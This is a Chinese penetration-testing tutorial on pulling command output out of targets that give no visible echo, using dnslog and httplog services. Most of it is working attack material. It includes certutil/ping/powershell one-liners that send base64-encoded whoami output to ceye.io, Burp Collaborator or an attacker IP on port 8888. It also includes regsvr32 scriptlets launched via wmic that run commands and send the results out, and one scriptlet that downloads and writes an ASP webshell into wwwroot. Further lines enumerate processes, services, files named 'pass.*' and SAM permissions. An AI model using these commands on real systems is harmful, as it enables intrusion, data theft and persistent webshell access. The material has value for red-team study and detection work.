0x01 前言
在渗透测试中我们时常会遇到一些无回显的场景，如常见的：SQL盲注、命令执行、XSS、SSRF、Blind XXE等漏洞，这时就需要利用第三方dnslog/httplog平台才能将数据和命令执行结果外带出来。
这篇文章我们主要以命令执行漏洞为例来介绍几个常用的数据外带平台和方式，不会再去细讲每个漏洞的外带利用方式，因为写的师傅太多了，想了解的可以自己去百度搜索相关资料学习下吧。
0x02 Dnslog
常用dnslog平台：dnslog.cn、dig.pm、ceye.io，各有利弊吧。当然，如果大家不想用这些免费的也可以通过以下几个开源项目去自行搭建。
https://github.com/SPuerBRead/Bridge https://github.com/lanyi1998/DNSlog-GO https://github.com/yumusb/DNSLog-Platform-Golang
dnslog、dig两个平台都仅支持DNS，而且默认只能展示几条数据，dig可以通过F12展示多条数据。
而ceye不仅支持dnslog，还支持httplog，可以展示多页数据，所以推荐使用CEYE。
Base64编码写文件：
whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2
HTTP外带执行结果：
for /F %i in ('type temp2') do ping -n -1 %i.***.ceye.io
0x03 Httplog
httplog这种方式可同时探测DNS和HTTP是否都能出网？CEYE、Burp Collaborator都行，如HTTP能出则大概率可以直接上线，可以用以下几条命令进行测试。
certutil -urlcache -split -f http://***.burpcollaborator.net powershell (Invoke-WebRequest -Uri "http://***.burpcollaborator.net") bitsadmin /rawreturn /transfer n "http://***.burpcollaborator.net" "D\1.txt"
如果想把命令执行结果通过httplog外带出来，我们可以直接执行以下Python命令开启一个临时Web服务。
python -m SimpleHTTPServer 8888 python3 -m http.server 8888
接着我们再执行以下命令即可，外带出来的执行结果会显示在开启的Web日志中。
Base64编码写文件：
whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2
HTTP外带执行结果：
for /F %i in ('type temp2') do certutil -urlcache -split -f http://192.168.1.120:8888/%i
我们也可以直接用Burp Collaborator或CEYE外带，不过有时Burp Collaborator中的HTTP、DNS可能会不通。
记得在使用Burp Collaborator前先去检查一下，确定没问题后再去执行命令进行外带。
Burp -> Burp Collaborator client Project options -> Misc -> Run health check
如遇安全防护时也可以去尝试下@倾旋师傅“Regsvr32 ole对象”文中提到的方法，通过修改脚本文件内容来外带不同命令的执行结果，如：查看当前权限、进程/服务、文件和目录及下载文件等。
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/whoami.txt scrobj.dll"
执行命令脚本：
<?XML version="1.0"?> <scriptlet> <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" > <script language="vbscript"> <![CDATA[ Sub getName(name) Dim http Set http = CreateObject("Msxml2.ServerXMLHTTP") http.open "GET","http://192.168.1.120:8888/"+name, False http.send End Sub Sub Cmd(command) Set oShell = CreateObject("WScript.Shell") Set Re = oShell.Exec(command) Do While Not Re.StdOut.AtEndOfStream getName Re.StdOut.ReadLine() Loop End Sub Cmd "whoami" ]]> </script> </registration> </scriptlet>
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/down.txt scrobj.dll"
文件下载脚本：
<?XML version="1.0"?> <scriptlet> <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" > <script language="vbscript"> <![CDATA[ Set Shell = CreateObject("Wscript.Shell") Set Post = CreateObject("Msxml2.XMLHTTP") wfolder = "C:\inetpub\wwwroot\upload\shell.asp" Post.Open "GET","http://192.168.1.120:8888/shell.txt",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile wfolder,2 ]]> </script> </registration> </scriptlet>
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/pslist.txt scrobj.dll" echo base64 | base64 -d
查看进程脚本：
<?XML version="1.0"?> <scriptlet> <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" > <script language="vbscript"> <![CDATA[ Sub getName(name) Dim http Set http = CreateObject("Msxml2.ServerXMLHTTP") http.open "GET","http://192.168.1.120:8888/"+name, False http.send End Sub Sub Cmd(command) Set oShell = CreateObject("WScript.Shell") Set Re = oShell.Exec(command) Do While Not Re.StdOut.AtEndOfStream getName Re.StdOut.ReadLine() Loop End Sub Cmd "powershell -w hidden -c $s=Get-Process;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;" ]]> </script> </registration> </scriptlet>
其他功能命令：
获取服务列表： powershell -w hidden -c $s=Get-Service;$service ='';foreach ($n in $s){$service += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($service);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit; 获取文件和目录： powershell -w hidden -c $s=Get-ChildItem C:\inetpub\wwwroot;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit; Get-ChildItem D:\ -Include pass.* -recurse Get-Acl -Path HKLM:\SAM\SAM | Format-List Get-Acl -Path C:\inetpub\wwwroot | Format-List PowerShell模块浏览器：https://docs.microsoft.com/zh-cn/powershell/module/
文末总结：
遇到这种无回显命令执行或SQL盲注漏洞，我们可以先去看一下目标主机是否能够出网，如果不能咋们就用dnslog外带，如果可以则建议还是用httplog外带，因为httplog要比dnslog能带出的信息更多，如：查看指定文件绝对路径、指定路径下的文件/目录等等。
